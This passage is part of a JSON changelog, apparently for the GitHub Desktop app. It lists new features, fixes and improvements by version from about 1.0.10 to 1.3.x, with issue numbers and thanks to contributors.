theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta7": [], "1.3.0-beta6": [], "1.3.0-beta5": [ "[Fixed] Ensure commit message is cleared after successful commit - #4046", "[Fixed] History omits latest commit from list - #5243" ], "1.3.0-beta4": [ "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069" ], "1.3.0-beta3": [ "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta2": [ "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158" ], "1.2.7-test3": ["Test deployment for electron version bump."], "1.3.0-beta1": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes count and ahead/behind information - #2259", "[Added] Syntax highlighting for PowerShell files- #5081. Thanks @say25!", "[Fixed] Display something when repository is located at drive root - #4924", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Improved] Repository list badge style tweaks and tweaks for dark theme - #5095", "[Improved] Change primary button color to blue for dark theme - #5074" ], "1.2.7-test2": ["Test deployment for electron version bump."], "1.2.7-test1": ["Sanity check deployment for refactored scripts"], "1.2.7-beta0": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6-beta0": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.5": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.4": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.4-beta5": [], "1.2.4-beta4": [ "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745" ], "1.2.4-test1": [ "Confirming latest Git LFS version addresses reported issues" ], "1.2.4-beta3": [ "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!" ], "1.2.4-beta2": [], "1.2.4-beta1": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.3": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-beta1": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-test1": [ "Confirming switch from uglify-es to babel-minify addresses minification issue - #4871" ], "1.2.2": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Restore text selection highlighting in diffs - #4818" ], "1.2.2-beta1": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Text selection highlighting in diffs is back - #4818" ], "1.2.1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-test1": ["Upgraded embedded Git to 2.17.0"], "1.2.1-beta1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-beta0": [], "1.1.2-test6": ["Testing the Webpack v4 output from the project"], "1.2.0": [ "[New] History now has ability to compare to another branch and merge outstanding commits", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[Added] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] 'Open in Shell' on Linux ensures Git is on PATH - #4619. Thanks @ziggy42!", "[Fixed] Pressing 'Enter' on filtered Pull Request does not checkout - #4673", "[Fixed] Alert icon shrinks in rename dialog when branch name is long - #4566", "[Fixed] 'Open in Desktop' performs fetch to ensure branch exists before checkout - #3006", "[Fixed] 'Open in Default Program' on Windows changes the window title - #4446", "[Fixed] Skip fast-forwarding when there are many eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' always opens a new instance - #4381", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429.", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta7": [], "1.1.2-beta6": [ "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Fixed] Open in Shell on Linux ensures Git is available on the user's PATH - #4619. Thanks @ziggy42!", "[Fixed] Keyboard focus issues when navigating Pull Request list - #4673", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!" ], "1.1.2-test5": ["Actually upgrading fs-extra to v6 in the app"], "1.1.2-test4": ["Upgrading fs-extra to v6"], "1.1.2-beta5": [ "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Fixed] Prevent icon from shrinking in rename dialog - #4566" ], "1.1.2-beta4": [ "[New] New Compare tab allowing visualization of the relationship between branches", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459" ], "1.1.2-beta3": [ "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] Fetch to ensure \"Open in Desktop\" has a branch to checkout - #3006", "[Fixed] Handle the click event when opening a binary file - #4446", "[Fixed] Skip fast-forwarding when there are a lot of eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429." ], "1.1.2-test3": ["[New] Comparison Branch demo build"], "1.1.2-test2": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-test1": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-beta2": [ "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[New] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' does not use existing window - #4381", "[Fixed] Always ask for confirmation when discarding all changes - #4423", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta1": [], "1.1.1": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior for Pull Request list does not match Branch List - #3597", "[Fixed] Keep caret position after inserting completion for emoji/mention - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable commit summary and description inputs while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when all entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Fixed] Attempt to focus the application window on macOS after signing in via the browser - #4126", "[Fixed] Refresh issues when user manually fetches - #4076", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link after the password dialog to match expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!", "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta4": [ "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta3": [], "1.1.1-beta2": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior should match that of Branch List - #3972", "[Fixed] Keep caret position after inserting completion - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable input fields summary and description while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link to after the password dialog to maintain expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!" ], "1.1.1-test2": ["[Improved] Electron 1.8.3 upgrade (again)"], "1.1.1-test1": [ "[Improved] Forcing a focus on the window after the OAuth dance is done" ], "1.1.1-beta1": [], "1.1.0": [ "[New] Check out pull requests from collaborators or forks from within Desktop", "[New] View the commit status of the branch when it has an open pull request", "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Added] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Update layout of branch blankslate image - #4011", "[Fixed] Expanded avatar stack in commit summary gets cut off - #3884", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Avoid crash when unable to launch shell - #3954", "[Fixed] Ensure renames are detected when viewing commit diffs - #3673", "[Fixed] Fetch default remote if it differs from the current - #4056", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Handle error when \"where\" is not on PATH - #3882 #3825", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Update branch button text from \"New\" to \"New Branch\" - #4032", "[Improved] Add fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911", "[Improved] Show fetch progress when initializing remote for fork - #3953", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!", "[Improved] Error handling around ENOENT - #3954", "[Improved] Clear repository filter text when switching tabs - #3787. Thanks @reyronald!", "[Improved] Allow window to accept single click on focus - #3843", "[Improved] Disable drag-and-drop interaction when a popup is in the foreground - #3996" ], "1.1.0-beta3": [ "[Fixed] Fetch default remote if it differs from the current - #4056" ], "1.1.0-beta2": [ "[Improved] Update embedded Git to improve error handling when using stdin - #4058" ], "1.1.0-beta1": [ "[Improved] Add 'Branch' to 'New' branch button - #4032", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!" ], "1.0.14-beta5": [ "[Fixed] Improve detection of pull requests associated with current branch - #3991", "[Fixed] Disable drag-and-drop interaction when a popup is in the foreground - #3996", "[Fixed] Branch blank slate image out of position - #4011" ], "1.0.14-beta4": [ "[New] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Crash when unable to launch shell - #3954", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Enable fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!" ], "1.0.14-test1": ["[Improved] Electron 1.8.2 upgrade"], "1.0.14-beta3": [ "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Improved] Show progress when initializing remote for fork - #3953" ], "1.0.14-beta2": [ "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Fixed] Allow window to accept single click on focus - #3843", "[Fixed] Expanded avatar list hidden behind commit details - #3884", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911" ], "1.0.14-beta1": ["[New] Commit together with co-authors - #3879"], "1.0.13": [ "[New] Commit together with co-authors - #3879", "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allow double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.13-test1": [ "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allows double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Pull Request store may not have status defined - #3869", "[Fixed] Render the Pull Request badge when no commit statuses found - #3608" ], "1.0.13-beta1": [ "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.12": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta1": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta0": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521", "[Fixed] Preserve the selected pull request when a manual fetch is done - #3524", "[Fixed] Update pull request badge after switching branches or pull requests - #3454", "[Fixed] Restore keyboard arrow navigation for pull request list - #3499" ], "1.0.11": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521" ], "1.0.11-test0": [ "[Improved] now with a new major version of electron-packager" ], "1.0.11-beta0": [ "[Improved] Refresh the pull requests list after fetching - #3503", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] URL encode branch names when creating a pull request - #3509", "[Fixed] Windows: detecting available editors and shells now works even when the group policy blocks write registry access - #3105 #3405" ], "1.0.10": [ "[New] ColdFusion Builder is now a supported external editor - #3336 #3321. Thanks @AtomicCons!", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell on Windows too - #3455. Thanks @JordanMussi!", "[New] Swift is now syntax highlighted - #3305. Thanks @agisilaos!", "[New] Vue.js is now syntax highlighted - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted - #3356. Thanks @agisilaos!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[New] Objective-C is now syntax highlighted - #3355. Thanks @koenpunt!", "[New] SQL is now syntax highlighted - #3389. Thanks @say25!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta3": [ "[New] Change \"Create Pull Request\" to \"Show Pull Request\" when there is already a pull request open for the branch - #2524", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell - #3455. Thanks @JordanMussi!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[Improved] Use the same colors in pull request dropdown as we use on GitHub.com - #3451", "[Improved] Fancy pull request loading animations - #2868", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Refresh the pull request list when the Push/Pull/Fetch button is clicked - #3448", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta2": [ "[New] SQL is now syntax highlighted! - #3389. Thanks @say25!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304" ], "1.0.10-beta1": [ "[New] Vue.js code is now syntax highlighted! - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted! - 